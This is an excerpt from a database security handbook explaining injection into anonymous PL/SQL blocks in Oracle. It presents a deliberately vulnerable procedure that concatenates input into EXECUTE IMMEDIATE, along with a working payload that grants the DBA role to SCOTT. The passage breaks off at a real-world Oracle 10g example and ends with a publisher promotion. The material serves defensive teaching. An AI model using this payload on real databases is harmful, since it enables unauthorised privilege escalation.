Injecting into Anonymous PL/SQL Blocks
Although an anonymous PL/SQL block, by definition, is not associated with any procedure or function, stored PL/SQL programs can execute anonymous PL/SQL from within their code. For example, consider the following:
CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS STMT VARCHAR2(200); BEGIN STMT:= 'BEGIN ' || 'DBMS_OUTPUT.PUT_LINE(''' || P_BUF || ''');' || 'END;'; EXECUTE IMMEDIATE STMT; END; Executing this procedure as follows EXEC ANON_BLOCK('FOOBAR'); returns FOOBAR PL/SQL procedure successfully completed.
If an attacker can inject into anonymous PL/SQL blocks, as can be done with this ANON_BLOCK procedure, then the attacker pretty much can do whatever he likes constrained only by the privileges of the definer. Assuming this ANON_BLOCK procedure was defined by the SYS user, an attacker could inject into this a GRANT statement to become a DBA.
EXEC ANON_BLOCK('F''); EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END; --');
This changes the original anonymous PL/SQL block from
BEGIN DBMS_OUTPUT.PUT_LINE('F'); END; to BEGIN DBMS_OUTPUT.PUT_LINE('F'); EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; END; --');END;
Once executed SCOTT has been granted the DBA role and by issuing
SET ROLE DBA
SCOTT takes on the full privileges of a DBA and all that that entails.
Real-World Examples
Although this ANON_BLOCK is a fairly contrived example, this does happen in the “real world.” In Oracle 10g, for example, PUBLIC can execute the GET_DOMAIN_INDEX_METADATA ...
Get The Database Hacker's Handbook: Defending Database Servers now with the O’Reilly learning platform.
O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.